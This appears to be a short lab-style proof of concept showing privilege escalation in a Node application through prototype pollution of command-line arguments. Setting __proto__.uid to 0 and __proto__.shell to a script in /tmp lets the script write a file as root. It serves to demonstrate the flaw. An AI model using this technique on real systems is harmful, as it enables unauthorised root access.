npm i
npm run build
npm run start
Now you are in a sandbox with permissions of just-user
. Our goal is to create test.txt
at the root of a container. For sure we don't have that permissions.
To validate it let's try to do the following:
echo "test" > /test.txt
bash: /test.txt: Permission denied
- Create exploit script:
printf '#!/bin/sh\necho "test" > /test.txt' > /tmp/exploit
- Give it execute permission:
chmod +x /tmp/exploit
- Run the application:
./app --a.__proto__.uid 0 --a.__proto__.shell /tmp/exploit
To validate run cat /test.txt
.
As you can see we have permission violation via vulnerable application.